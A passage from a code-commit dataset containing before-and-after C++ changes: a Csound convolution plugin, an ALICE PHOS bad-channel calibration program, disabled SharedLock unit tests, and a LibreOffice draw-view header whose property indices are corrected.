inargs(2);\n    auto *frz2 = inargs(3);\n    auto inc1 = csound->is_asig(frz1);\n    auto inc2 = csound->is_asig(frz2);\n\n    for (auto &s : outsig) {\n      if (*frz1 > 0)\n        itn[n] = *inp;\n      if (*frz2 > 0)\n        itr[n] = *irp;\n\n      s = out[n] + saved[n];\n      saved[n] = out[n + pars];\n      if (++n == pars) {\n        cmplx *ins, *irs, *ous = to_cmplx(out.data());\n        std::copy(itn, itn + ffts, itnsp);\n        std::copy(itr, itr + ffts, itrsp);\n        std::fill(out.begin(), out.end(), 0.);\n        \/\/ FFT\n        csound->rfft(fwd, itnsp);\n        csound->rfft(fwd, itrsp);\n        \/\/ increment iterators\n        itnsp += ffts, itrsp += ffts;\n        itn += ffts, itr += ffts;\n        if (itnsp == insp.end()) {\n          itnsp = insp.begin();\n          itrsp = irsp.begin();\n          itn = in.begin();\n          itr = ir.begin();\n        }\n        \/\/ spectral delay line\n        for (csnd::AuxMem<MYFLT>::iterator it1 = itnsp, it2 = irsp.end() - ffts;\n             it2 >= irsp.begin(); it1 += ffts, it2 -= ffts) {\n          if (it1 == insp.end())\n            it1 = insp.begin();\n          ins = to_cmplx(it1);\n          irs = to_cmplx(it2);\n          \/\/ spectral product\n          for (uint32_t i = 1; i < pars; i++)\n            ous[i] += ins[i] * irs[i];\n          ous[0] += real_prod(ins[0], irs[0]);\n        }\n        \/\/ IFFT\n        csound->rfft(inv, out.data());\n        n = 0;\n      }\n      frz1 += inc1, frz2 += inc2;\n      irp++, inp++;\n    }\n    return OK;\n  }\n\n  int dconv() {\n    csnd::AudioSig insig(this, inargs(0));\n    csnd::AudioSig irsig(this, inargs(1));\n    csnd::AudioSig outsig(this, outargs(0));\n    auto irp = irsig.begin();\n    auto inp = insig.begin();\n    auto frz1 = inargs(2);\n    auto frz2 = inargs(3);\n    auto inc1 = csound->is_asig(frz1);\n    auto inc2 = csound->is_asig(frz2);\n\n    for (auto &s : outsig) {\n      if (*frz1 > 0)\n        *itn = *inp;\n      if (*frz2 > 0)\n        *itr = *irp;\n      itn++, itr++;\n      if (itn == in.end()) {\n        itn = in.begin();\n        itr = ir.begin();\n      }\n      s = 0.;\n      for (csnd::AuxMem<MYFLT>::iterator it1 = itn, it2 = ir.end() - 1;\n           it2 >= ir.begin(); it1++, it2--) {\n        if (it1 == in.end())\n          it1 = in.begin();\n        s += *it1 * *it2;\n      }\n      frz1 += inc1, frz2 += inc2;\n      inp++, irp++;\n    }\n    return OK;\n  }\n\n  int aperf() {\n    if (pars > 1)\n      return pconv();\n    else\n      return dconv();\n  }\n};\n\n\/*\nclass PrintThread : public csnd::Thread {\n  std::atomic_bool splock;\n  std::atomic_bool on;\n  std::string message;\n\n  void lock() {\n    bool tmp = false;\n    while(!splock.compare_exchange_weak(tmp,true))\n      tmp = false;\n  }\n\n  void unlock() {\n    splock = false;\n  }\n\n  uintptr_t run() {\n    std::string old;\n    while(on) {\n      lock();\n      if(old.compare(message)) {\n       csound->message(message.c_str());\n       old = message;\n      }\n      unlock();\n    }\n    return 0;\n  }\n\npublic:\n  PrintThread(csnd::Csound *csound)\n    : Thread(csound), splock(false), on(true), message(\"\") {};\n\n  ~PrintThread(){\n    on = false;\n    join();\n  }\n\n  void set_message(const char *m) {\n    lock();\n    message = m;\n    unlock();\n  }\n\n};\n\n\nstruct TPrint : csnd::Plugin<0, 1> {\n  static constexpr char const *otypes = \"\";\n  static constexpr char const *itypes = \"S\";\n  PrintThread t;\n\n  int init() {\n    csound->plugin_deinit(this);\n    csnd::constr(&t, csound);\n    return OK;\n  }\n\n  int deinit() {\n    csnd::destr(&t);\n    return OK;\n  }\n\n  int kperf() {\n    t.set_message(inargs.str_data(0).data);\n    return OK;\n  }\n};\n*\/\n\n#include <modload.h>\nvoid csnd::on_load(Csound *csound) {\n  csnd::plugin<PVTrace>(csound, \"pvstrace\", csnd::thread::ik);\n  csnd::plugin<PVTrace2>(csound, \"pvstrace\", csnd::thread::ik);\n  csnd::plugin<TVConv>(csound, \"tvconv\", \"a\", \"aaxxii\", csnd::thread::ia);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\ncontact: Boris.Polishchuk@cern.ch\nlink: http:\/\/aliceinfo.cern.ch\/static\/phpBB3\/viewtopic.php?f=4&t=17\nreference run: \/castor\/cern.ch\/alice\/phos\/2007\/10\/02\/13\/07000008232001.10.root\nrun type: STANDALONE\nDA type: MON\nnumber of events needed: 1000\ninput files: RCU0.data  RCU1.data  RCU2.data  RCU3.data\nOutput files: PHOS_Module2_BCM.root\nTrigger types used: CALIBRATION_EVENT or PHYSICS\n*\/\n\n\n#include \"event.h\"\n#include \"monitor.h\"\nextern \"C\" {\n#include \"daqDA.h\"\n}\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <TSystem.h>\n#include <TROOT.h>\n#include <TPluginManager.h>\n\n#include \"AliRawReader.h\"\n#include \"AliRawReaderDate.h\"\n#include \"AliPHOSDA2.h\"\n#include \"AliPHOSRawFitterv1.h\"\n#include \"AliCaloAltroMapping.h\"\n#include \"AliCaloRawStreamV3.h\"\n\n\n\/* Main routine\n      Arguments: \n      1- monitoring data source\n*\/\nint main(int argc, char **argv) {\n\n  gROOT->GetPluginManager()->AddHandler(\"TVirtualStreamerInfo\",\n                                        \"*\",\n                                        \"TStreamerInfo\",\n                                        \"RIO\",\n                                        \"TStreamerInfo()\");\n\n  int status;\n  \n  if (argc!=2) {\n    printf(\"Wrong number of arguments\\n\");\n    return -1;\n  }\n  \n\n  \/* Retrieve mapping files from DAQ DB *\/\n  const char* mapFiles[4] = {\"RCU0.data\",\"RCU1.data\",\"RCU2.data\",\"RCU3.data\"};\n\n  for(Int_t iFile=0; iFile<4; iFile++) {\n    int failed = daqDA_DB_getFile(mapFiles[iFile], mapFiles[iFile]);\n    if(failed) {\n      printf(\"Cannot retrieve file %s from DAQ DB. Exit.\\n\",mapFiles[iFile]);\n      return -1;\n    }\n  }\n  \n  \/* Open mapping files *\/\n  AliAltroMapping *mapping[4];\n  TString path = \".\/\";\n  path += \"RCU\";\n  TString path2;\n  for(Int_t i = 0; i < 4; i++) {\n    path2 = path;\n    path2 += i;\n    path2 += \".data\";\n    mapping[i] = new AliCaloAltroMapping(path2.Data());\n  }\n  \n\n  \/* define data source : this is argument 1 *\/  \n  status=monitorSetDataSource( argv[1] );\n  if (status!=0) {\n    printf(\"monitorSetDataSource() failed : %s\\n\",monitorDecodeError(status));\n    return -1;\n  }\n\n\n  \/* declare monitoring program *\/\n  status=monitorDeclareMp( __FILE__ );\n  if (status!=0) {\n    printf(\"monitorDeclareMp() failed : %s\\n\",monitorDecodeError(status));\n    return -1;\n  }\n\n\n  \/* define wait event timeout - 1s max *\/\n  monitorSetNowait();\n  monitorSetNoWaitNetworkTimeout(1000);\n\n  \n  \/* log start of process *\/\n  printf(\"DA2 (bad channels search) started.\\n\");  \n\n\n  \/* init some counters *\/\n  int nevents_physics=0;\n  int nevents_total=0;\n\n  AliRawReader *rawReader = NULL;\n\n  AliPHOSDA2* da2 = new AliPHOSDA2(2); \/\/ DA2 (\"Checking for bad channels\") for module2\n  \n  Float_t q[64][56][2];\n\n  Int_t gain     = -1;\n  Int_t cellX    = -1;\n  Int_t cellZ    = -1;\n  Int_t nBunches =  0;\n  Int_t nFired   = -1;\n  Int_t sigStart, sigLength;\n\n  \/* main loop (infinite) *\/\n  for(;;) {\n    struct eventHeaderStruct *event;\n    eventTypeType eventT;\n  \n    \/* check shutdown condition *\/\n    if (daqDA_checkShutdown()) {break;}\n    \n    \/* get next event (blocking call until timeout) *\/\n    status=monitorGetEventDynamic((void **)&event);\n    if (status==MON_ERR_EOF) {\n      printf (\"End of File detected\\n\");\n      break; \/* end of monitoring file has been reached *\/\n    }\n    \n    if (status!=0) {\n      printf(\"monitorGetEventDynamic() failed : %s\\n\",monitorDecodeError(status));\n      break;\n    }\n\n    \/* retry if got no event *\/\n    if (event==NULL) {\n      continue;\n    }\n\n\n    \/* use event - here, just write event id to result file *\/\n    eventT=event->eventType;\n    \n    if (eventT==PHYSICS_EVENT || eventT==CALIBRATION_EVENT) {\n      \n      for(Int_t iX=0; iX<64; iX++) {\n\tfor(Int_t iZ=0; iZ<56; iZ++) {\n\t  for(Int_t iGain=0; iGain<2; iGain++) {\n\t    q[iX][iZ][iGain] = 0.;\n\t  }\n\t}\n      }\n\n      nFired = 0;\n\n      rawReader = new AliRawReaderDate((void*)event);\n      AliCaloRawStreamV3 stream(rawReader,\"PHOS\",mapping);\n      AliPHOSRawFitterv0 fitter();\n      fitter.SubtractPedestals(kTRUE); \/\/ assume that data is non-ZS\n      \n      while (stream.NextDDL()) {\n\twhile (stream.NextChannel()) {\n\n\t  cellX    = stream.GetCellX();\n\t  cellZ    = stream.GetCellZ();\n\t  caloFlag = stream.GetCaloFlag();  \/\/ 0=LG, 1=HG, 2=TRU\n\n\t  \/\/ In case of oscillating signals with ZS, a channel can have several bunches\n\t  nBunches = 0;\n\t  while (stream.NextBunch()) {\n\t    nBunches++;\n\t    if (nBunches > 1) continue;\n\t    sigStart  = fRawStream.GetStartTimeBin();\n\t    sigLength = fRawStream.GetBunchLength();\n\t    fitter.SetSamples(fRawStream->GetSignals(),sigStart,sigLength);\n\t  } \/\/ End of NextBunch()\n\t  \n\t  fitter.SetNBunches(nBunches);\n\t  fitter.SetChannelGeo(module,cellX,cellZ,caloFlag);\n\t  fitter.Eval();\n\n\t  if (nBunches>1 || caloFlag!=0 || caloFlag!=1 || fitter.GetSignalQuality()>1) continue;\n\t  \n\t  q[cellX][cellZ][caloFlag] = fitter.GetSignalQuality();\n\t  \n\t  if(gain && dc.GetEnergy()>40)\n\t    nFired++;\n\t}\n      }\n\t\n      da2->FillQualityHistograms(q);\n      da2->FillFiredCellsHistogram(nFired);\n      \/\/da1.UpdateHistoFile();\n      \n      delete rawReader;     \n      nevents_physics++;\n    }\n    \n    nevents_total++;\n    \n    \/* free resources *\/\n    free(event);\n    \n    \/* exit when last event received, no need to wait for TERM signal *\/\n    if (eventT==END_OF_RUN) {\n      printf(\"EOR event detected\\n\");\n      break;\n    }\n  }\n  \n  for(Int_t i = 0; i < 4; i++) delete mapping[i];  \n\n  \/* Be sure that all histograms are saved *\/\n  delete da2;\n  \n  \/* Store output files to the File Exchange Server *\/\n  daqDA_FES_storeFile(\"PHOS_Module2_BCM.root\",\"BAD_CHANNELS\");\n\n  return status;\n}\n<commit_msg>Updated to use new mapping scheme, new CaloRawStreamV3, reading of the ZS parameters from data etc..<commit_after>\/*\ncontact: Boris.Polishchuk@cern.ch\nlink: http:\/\/aliceinfo.cern.ch\/static\/phpBB3\/viewtopic.php?f=4&t=17\nreference run: \/castor\/cern.ch\/alice\/phos\/2007\/10\/02\/13\/07000008232001.10.root\nrun type: LED\nDA type: MON\nnumber of events needed: 1000\nnumber of events needed: 1000\ninput files: Mod0RCU0.data Mod0RCU1.data Mod0RCU2.data Mod0RCU3.data Mod1RCU0.data Mod1RCU1.data Mod1RCU2.data Mod1RCU3.data Mod2RCU0.data Mod2RCU1.data Mod2RCU2.data Mod2RCU3.data Mod3RCU0.data Mod3RCU1.data Mod3RCU2.data Mod3RCU3.data Mod4RCU0.data Mod4RCU1.data Mod4RCU2.data Mod4RCU3.data \nOutput files: PHOS_Module2_BCM.root\nTrigger types used: CALIBRATION_EVENT\n*\/\n\n\n#include \"event.h\"\n#include \"monitor.h\"\nextern \"C\" {\n#include \"daqDA.h\"\n}\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <TSystem.h>\n#include <TROOT.h>\n#include <TPluginManager.h>\n\n#include \"AliRawReader.h\"\n#include \"AliRawReaderDate.h\"\n#include \"AliPHOSDA2.h\"\n#include \"AliPHOSRawFitterv1.h\"\n#include \"AliCaloAltroMapping.h\"\n#include \"AliCaloRawStreamV3.h\"\n#include \"AliLog.h\"\n\n\n\/* Main routine\n      Arguments: \n      1- monitoring data source\n*\/\nint main(int argc, char **argv) {\n\n  gROOT->GetPluginManager()->AddHandler(\"TVirtualStreamerInfo\",\n                                        \"*\",\n                                        \"TStreamerInfo\",\n                                        \"RIO\",\n                                        \"TStreamerInfo()\");\n\n  AliLog::SetGlobalDebugLevel(0) ;\n  AliLog::SetGlobalLogLevel(AliLog::kFatal);\n  \n  int status;\n  \n  if (argc!=2) {\n    printf(\"Wrong number of arguments\\n\");\n    return -1;\n  }\n  \n  short offset, threshold;\n\n  \/* Retrieve mapping files from DAQ DB *\/\n  const char* mapFiles[20] = {\n    \"Mod0RCU0.data\",\n    \"Mod0RCU1.data\",\n    \"Mod0RCU2.data\",\n    \"Mod0RCU3.data\",\n    \"Mod1RCU0.data\",\n    \"Mod1RCU1.data\",\n    \"Mod1RCU2.data\",\n    \"Mod1RCU3.data\",\n    \"Mod2RCU0.data\",\n    \"Mod2RCU1.data\",\n    \"Mod2RCU2.data\",\n    \"Mod2RCU3.data\",\n    \"Mod3RCU0.data\",\n    \"Mod3RCU1.data\",\n    \"Mod3RCU2.data\",\n    \"Mod3RCU3.data\",\n    \"Mod4RCU0.data\",\n    \"Mod4RCU1.data\",\n    \"Mod4RCU2.data\",\n    \"Mod4RCU3.data\"\n  };\n  \n  for(Int_t iFile=0; iFile<20; iFile++) {\n    int failed = daqDA_DB_getFile(mapFiles[iFile], mapFiles[iFile]);\n    if(failed) { \n      printf(\"Cannot retrieve file %s from DAQ DB. Exit.\\n\",mapFiles[iFile]);\n      return -1;\n    }\n  }\n  \n  \/* Open mapping files *\/\n  AliAltroMapping *mapping[20];\n  TString path = \".\/\";\n\n  path += \"Mod\";\n  TString path2;\n  TString path3;\n  Int_t iMap = 0;\n\n  for(Int_t iMod = 0; iMod < 5; iMod++) {\n    path2 = path;\n    path2 += iMod;\n    path2 += \"RCU\";\n\n    for(Int_t iRCU=0; iRCU<4; iRCU++) {\n      path3 = path2;\n      path3 += iRCU;\n      path3 += \".data\";\n      mapping[iMap] = new AliCaloAltroMapping(path3.Data());\n      iMap++;\n    }\n  }  \n\n  \/* define data source : this is argument 1 *\/  \n  status=monitorSetDataSource( argv[1] );\n  if (status!=0) {\n    printf(\"monitorSetDataSource() failed : %s\\n\",monitorDecodeError(status));\n    return -1;\n  }\n\n\n  \/* declare monitoring program *\/\n  status=monitorDeclareMp( __FILE__ );\n  if (status!=0) {\n    printf(\"monitorDeclareMp() failed : %s\\n\",monitorDecodeError(status));\n    return -1;\n  }\n\n\n  \/* define wait event timeout - 1s max *\/\n  monitorSetNowait();\n  monitorSetNoWaitNetworkTimeout(1000);\n\n  \n  \/* log start of process *\/\n  printf(\"DA2 (bad channels search) started.\\n\");  \n\n\n  \/* init some counters *\/\n  int nevents_physics=0;\n  int nevents_total=0;\n\n  AliRawReader *rawReader = NULL;\n\n  AliPHOSDA2* da2 = new AliPHOSDA2(2); \/\/ DA2 (\"Checking for bad channels\") for module2\n  \n  Float_t q[64][56][2];\n\n  Int_t cellX    = -1;\n  Int_t cellZ    = -1;\n  Int_t nBunches =  0;\n  Int_t nFired   = -1;\n  Int_t sigStart, sigLength;\n  Int_t caloFlag;\n\n  \/* main loop (infinite) *\/\n  for(;;) {\n    struct eventHeaderStruct *event;\n    eventTypeType eventT;\n  \n    \/* check shutdown condition *\/\n    if (daqDA_checkShutdown()) {break;}\n    \n    \/* get next event (blocking call until timeout) *\/\n    status=monitorGetEventDynamic((void **)&event);\n    if (status==MON_ERR_EOF) {\n      printf (\"End of File detected\\n\");\n      break; \/* end of monitoring file has been reached *\/\n    }\n    \n    if (status!=0) {\n      printf(\"monitorGetEventDynamic() failed : %s\\n\",monitorDecodeError(status));\n      break;\n    }\n\n    \/* retry if got no event *\/\n    if (event==NULL) {\n      continue;\n    }\n\n\n    \/* use event - here, just write event id to result file *\/\n    eventT=event->eventType;\n    \n    if (eventT==PHYSICS_EVENT || eventT==CALIBRATION_EVENT) {\n      \n      for(Int_t iX=0; iX<64; iX++) {\n\tfor(Int_t iZ=0; iZ<56; iZ++) {\n\t  for(Int_t iGain=0; iGain<2; iGain++) {\n\t    q[iX][iZ][iGain] = 0.;\n\t  }\n\t}\n      }\n\n      nFired = 0;\n\n      rawReader = new AliRawReaderDate((void*)event);\n      AliCaloRawStreamV3 stream(rawReader,\"PHOS\",mapping);\n      AliPHOSRawFitterv1 fitter;\n      fitter.SubtractPedestals(kTRUE); \/\/ assume that data is non-ZS\n      \n      while (stream.NextDDL()) {\n\twhile (stream.NextChannel()) {\n\n\t  \/* Retrieve ZS parameters from data*\/\n\t  short value = stream.GetAltroCFG1();\n\t  bool ZeroSuppressionEnabled = (value >> 15) & 0x1;\n\t  bool AutomaticBaselineSubtraction = (value >> 14) & 0x1;\n\t  if(ZeroSuppressionEnabled) {\n\t    offset = (value >> 10) & 0xf;\n\t    threshold = value & 0x3ff;\n\t    fitter.SubtractPedestals(kFALSE);\n\t    fitter.SetAmpOffset(offset);\n\t    fitter.SetAmpThreshold(threshold);\n\t  }\n\t  \n\t  cellX    = stream.GetCellX();\n\t  cellZ    = stream.GetCellZ();\n\t  caloFlag = stream.GetCaloFlag();  \/\/ 0=LG, 1=HG, 2=TRU\n\t  \n\t  if(caloFlag!=0 && caloFlag!=1) continue; \/\/TRU data!\n\t  \n\t  \/\/ In case of oscillating signals with ZS, a channel can have several bunches\n\t  nBunches = 0;\n\t  while (stream.NextBunch()) {\n\t    nBunches++;\n\t    sigStart  = stream.GetStartTimeBin();\n\t    sigLength = stream.GetBunchLength();\n\t    fitter.SetChannelGeo(stream.GetModule(),cellX,cellZ,caloFlag);\n\t    fitter.Eval(stream.GetSignals(),sigStart,sigLength);\n\t    q[cellX][cellZ][caloFlag] = fitter.GetSignalQuality();\n\t    printf(\"q[%d][%d][%d] = %.3f\\n\",cellX,cellZ,caloFlag,q[cellX][cellZ][caloFlag]);\n\t  } \/\/ End of NextBunch()\n\t  \n\t  if(caloFlag==1 && fitter.GetEnergy()>40)\n\t    nFired++;\n\t}\n      }\n      \n      da2->FillQualityHistograms(q);\n      da2->FillFiredCellsHistogram(nFired);\n      \/\/da1.UpdateHistoFile();\n      \n      delete rawReader;     \n      nevents_physics++;\n    }\n    \n    nevents_total++;\n    \n    \/* free resources *\/\n    free(event);\n    \n    \/* exit when last event received, no need to wait for TERM signal *\/\n    if (eventT==END_OF_RUN) {\n      printf(\"EOR event detected\\n\");\n      break;\n    }\n  }\n  \n  for(Int_t i = 0; i < 20; i++) delete mapping[i];  \n\n  \/* Be sure that all histograms are saved *\/\n  delete da2;\n  \n  \/* Store output files to the File Exchange Server *\/\n  daqDA_FES_storeFile(\"PHOS_Module2_BCM.root\",\"BAD_CHANNELS\");\n\n  return status;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <Pith\/Config.hpp>\n#include <Pith\/LockGuard.hpp>\n#include <Pith\/SharedLock.hpp>\n#include <gtest\/gtest.h>\n\nusing namespace Pith;\n\nTEST(SharedLock, multipleShared) {\n\tSharedLock lock;\n\tSharedLockGuard<SharedLock> shared1(lock);\n\tEXPECT_TRUE(trySharedLock(lock));\n}\n\nTEST(SharedLock, failToTakeExclusive) {\n\tSharedLock lock;\n\tSharedLockGuard<SharedLock> shared(lock);\n\tEXPECT_FALSE(tryExclusiveLock(lock));\n}\n\nTEST(SharedLock, exclusiveThenShared) {\n\tSharedLock lock;\n\t{\n\t\tExclusiveLockGuard<SharedLock> exclusive(lock);\n\t\tEXPECT_TRUE(lock.isLocked<Access::EXCLUSIVE>());\n\t}\n\tEXPECT_FALSE(lock.isLocked<Access::EXCLUSIVE>());\n\t{\n\t\tSharedLockGuard<SharedLock> shared(lock);\n\t\tEXPECT_TRUE(lock.isLocked<Access::SHARED>());\n\t}\n\tEXPECT_FALSE(lock.isLocked<Access::SHARED>());\n}<commit_msg>Disable some shared lock tests<commit_after>#include <Pith\/Config.hpp>\n#include <Pith\/LockGuard.hpp>\n#include <Pith\/SharedLock.hpp>\n#include <gtest\/gtest.h>\n\nusing namespace Pith;\n\nTEST(SharedLock, multipleShared) {\n\tSharedLock lock;\n\tSharedLockGuard<SharedLock> shared1(lock);\n\tEXPECT_TRUE(trySharedLock(lock));\n}\n\nTEST(SharedLock, DISABLED_failToTakeExclusive) {\n\tSharedLock lock;\n\tSharedLockGuard<SharedLock> shared(lock);\n\tEXPECT_FALSE(tryExclusiveLock(lock));\n}\n\nTEST(SharedLock, DISABLED_exclusiveThenShared) {\n\tSharedLock lock;\n\t{\n\t\tExclusiveLockGuard<SharedLock> exclusive(lock);\n\t\tEXPECT_TRUE(lock.isLocked<Access::EXCLUSIVE>());\n\t}\n\tEXPECT_FALSE(lock.isLocked<Access::EXCLUSIVE>());\n\t{\n\t\tSharedLockGuard<SharedLock> shared(lock);\n\t\tEXPECT_TRUE(lock.isLocked<Access::SHARED>());\n\t}\n\tEXPECT_FALSE(lock.isLocked<Access::SHARED>());\n}<|endoftext|>"}
{"text":"<commit_before>#ifndef SD_UNO_DRAW_VIEW_HXX\n#define SD_UNO_DRAW_VIEW_HXX\n\n#ifndef SD_DRAW_CONTROLLER_HXX\n#include \"DrawController.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_DRAWING_XDRAWVIEW_HPP_\n#include <com\/sun\/star\/drawing\/XDrawView.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_VIEW_XSELECTIONSUPPLIER_HPP_\n#include <com\/sun\/star\/view\/XSelectionSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_DRAWING_XLAYER_HPP_\n#include <com\/sun\/star\/drawing\/XLayer.hpp>\n#endif\n\n#ifndef _SFX_SFXBASECONTROLLER_HXX_\n#include <sfx2\/sfxbasecontroller.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPSHLP_HXX\n#include <cppuhelper\/propshlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPTYPEHLP_HXX\n#include <cppuhelper\/proptypehlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_INTERFACECONTAINER_H_\n#include <cppuhelper\/interfacecontainer.h>\n#endif\n\n#ifndef _SVX_UNOSHAPE_HXX\n#include <svx\/unoshape.hxx>\n#endif\n\nclass SdXImpressDocument;\nclass SdPage;\n\nnamespace sd {\n\nclass DrawViewShell;\n\n\/**\n * This class implements the view component for a SdDrawViewShell\n *\/\nclass SdUnoDrawView\n    : public DrawController\n{\npublic:\n    enum properties\n    {\n        PROPERTY__BEGIN = DrawController::PROPERTY__BEGIN,\n        PROPERTY_CURRENTPAGE = PROPERTY__BEGIN,\n        PROPERTY_MASTERPAGEMODE,\n        PROPERTY_LAYERMODE,\n        PROPERTY_ACTIVE_LAYER,\n        PROPERTY_ZOOMTYPE,\n        PROPERTY_ZOOMVALUE,\n        PROPERTY_VIEWOFFSET,\n        PROPERTY__END\n    };\n\n    SdUnoDrawView (\n        ViewShellBase& rBase,\n        ViewShell& rViewShell,\n        View& rView) throw();\n    virtual ~SdUnoDrawView (void) throw();\n\n    virtual void FireChangeEditMode (bool bMasterPageMode) throw();\n    virtual void FireChangeLayerMode (bool bLayerMode) throw();\n    virtual void FireSwitchCurrentPage (SdPage* pCurrentPage) throw();\n\n    \/\/ XTypeProvider\n    virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId(  ) throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ XServiceInfo\n    virtual ::rtl::OUString SAL_CALL getImplementationName() throw(::com::sun::star::uno::RuntimeException);\n    virtual sal_Bool SAL_CALL supportsService( const ::rtl::OUString& ServiceName ) throw(::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames() throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ XSelectionSupplier\n    virtual sal_Bool SAL_CALL select( const ::com::sun::star::uno::Any& aSelection ) throw(::com::sun::star::lang::IllegalArgumentException, ::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Any SAL_CALL getSelection(  ) throw(::com::sun::star::uno::RuntimeException);\n\n    \/\/ XDrawView\n    virtual void SAL_CALL setCurrentPage( const ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XDrawPage >& xPage ) throw(::com::sun::star::uno::RuntimeException);\n    virtual ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XDrawPage > SAL_CALL getCurrentPage(  ) throw(::com::sun::star::uno::RuntimeException);\n\nprotected:\n    virtual void FillPropertyTable (\n        ::std::vector< ::com::sun::star::beans::Property>& rProperties);\n\n    \/**\n     * Converted the value rValue and return the result in rConvertedValue and the\n     * old value in rOldValue. A IllegalArgumentException is thrown.\n     * The method is not implemented in this class. After this call the vetoable\n     * listeners are notified.\n     *\n     * @param rConvertedValue the converted value. Only set if return is true.\n     * @param rOldValue the old value. Only set if return is true.\n     * @param nHandle the handle of the proberty.\n     * @return true if the value converted.\n     *\/\n    virtual sal_Bool SAL_CALL convertFastPropertyValue(\n        ::com::sun::star::uno::Any & rConvertedValue,\n        ::com::sun::star::uno::Any & rOldValue,\n        sal_Int32 nHandle,\n        const ::com::sun::star::uno::Any& rValue )\n        throw (::com::sun::star::lang::IllegalArgumentException);\n    \/**\n     * The same as setFastProperyValue, but no exception is thrown and nHandle\n     * is always valid. You must not broadcast the changes in this method.<BR>\n     * <B>You type is correct you need't test it.<\/B>\n     *\/\n    virtual void SAL_CALL setFastPropertyValue_NoBroadcast(\n        sal_Int32 nHandle,\n        const ::com::sun::star::uno::Any& rValue )\n        throw (::com::sun::star::uno::Exception);\n    \/**\n     * The same as getFastProperyValue, but return the value through\n     * rValue and nHandle is always valid.\n     *\/\n    virtual void SAL_CALL getFastPropertyValue(\n        ::com::sun::star::uno::Any& rValue,\n        sal_Int32 nHandle ) const;\n\n    sal_Bool getMasterPageMode(void) const throw();\n    void setMasterPageMode(sal_Bool MasterPageMode_) throw();\n    sal_Bool getLayerMode(void) const throw();\n    void setLayerMode(sal_Bool LayerMode_) throw();\n\n    \/** Return a reference to the active layer object.\n        @return\n            The returned value may be empty when the internal state of this\n            view is not valid (like during destruction.)\n    *\/\n    ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XLayer> getActiveLayer (void) throw ();\n\n    \/** Make the specified object the active layer.\n        @param rxLayer\n            The new layer object.\n    *\/\n    void setActiveLayer (const ::com::sun::star::uno::Reference< ::com::sun::star::drawing::XLayer>& rxLayer) throw ();\n\n    void SetZoom( sal_Int16 nZoom );\n    sal_Int16 GetZoom(void) const;\n\n    void SetViewOffset(const com::sun::star::awt::Point& rWinPos );\n    com::sun::star::awt::Point GetViewOffset() const;\n\n    void SetZoomType( sal_Int16 nType );\n\nprivate:\n    bool mbOldMasterPageMode;\n    bool mbOldLayerMode;\n    SdPage* mpCurrentPage;\n\n    \/** This is a shortcut for accessing the view shell data member of\n        the base class casted to the correct class.\n    *\/\n    DrawViewShell& GetDrawViewShell (void) const;\n};\n\n} \/\/ end of namespace sd\n\n#endif\n<commit_msg>INTEGRATION: CWS impress20ea (1.9.68); FILE MERGED 2004\/09\/15 07:49:34 af 1.9.68.1: #117500# Corrected the use property indices.<commit_after>#ifndef SD_UNO_DRAW_VIEW_HXX\n#define SD_UNO_DRAW_VIEW_HXX\n\n#ifndef SD_DRAW_CONTROLLER_HXX\n#include \"DrawController.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_DRAWING_XDRAWVIEW_HPP_\n#include <com\/sun\/star\/drawing\/XDrawView.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_VIEW_XSELECTIONSUPPLIER_HPP_\n#include <com\/sun\/star\/view\/XSelectionSupplier.hpp>\n#endif\n#ifndef _COM_SUN_STAR_DRAWING_XLAYER_HPP_\n#include <com\/sun\/star\/drawing\/XLayer.hpp>\n#endif\n\n#ifndef _SFX_SFXBASECONTROLLER_HXX_\n#include <sfx2\/sfxbasecontroller.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPSHLP_HXX\n#include <cppuhelper\/propshlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_PROPTYPEHLP_HXX\n#include <cppuhelper\/proptypehlp.hxx>\n#endif\n\n#ifndef _CPPUHELPER_INTERFACECONTAINER_H_\n#include <cppuhelper\/interfacecontainer.h>\n#endif\n\n#ifndef _SVX_UNOSHAPE_HXX\n#include <svx\/unoshape.hxx>\n#endif\n\nclass SdXImpressDocument;\nclass SdPage;\n\nnamespace sd {\n\nclass DrawViewShell;\n\n\/**\n * This class implements the view component for a SdDrawViewShell\n *\/\nclass SdUnoDrawView\n    : public DrawController\n{\npublic:\n    enum properties\n    {\n        PROPERTY__BEGIN = DrawController::PROPERTY__END,\n        PROPERTY_CURRENTPAGE = PROPERTY__BEGIN,\n        PROPERTY_MASTERPAGEMODE,\n        PROPERTY_LAYERMODE,\n        PROPERTY_ACTIVE_LAYER,\n        PROPERTY_ZOOMTYPE,\n        PROPERTY_ZOOMVALUE,\n        PROPERTY_VIEWOFFSET,\n        PROPERTY__END\n    };\n\n    SdUnoDrawView (\n        ViewShellBase& rBase,\n        ViewShell& rViewShell,\n        View& rView) throw();\n    virtual ~SdUnoDrawView (void) throw();\n\n    virtual void FireChangeEditMode (bool bMasterPageMode) throw();\n    virtual void FireChangeLayerMode (bool bLayerMode) throw();\n    virtual void FireSwitchCurrentPage (SdPage* pCurrentPage) throw();\n\n    \/\/ XTypeProvider\n    virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId(  ) 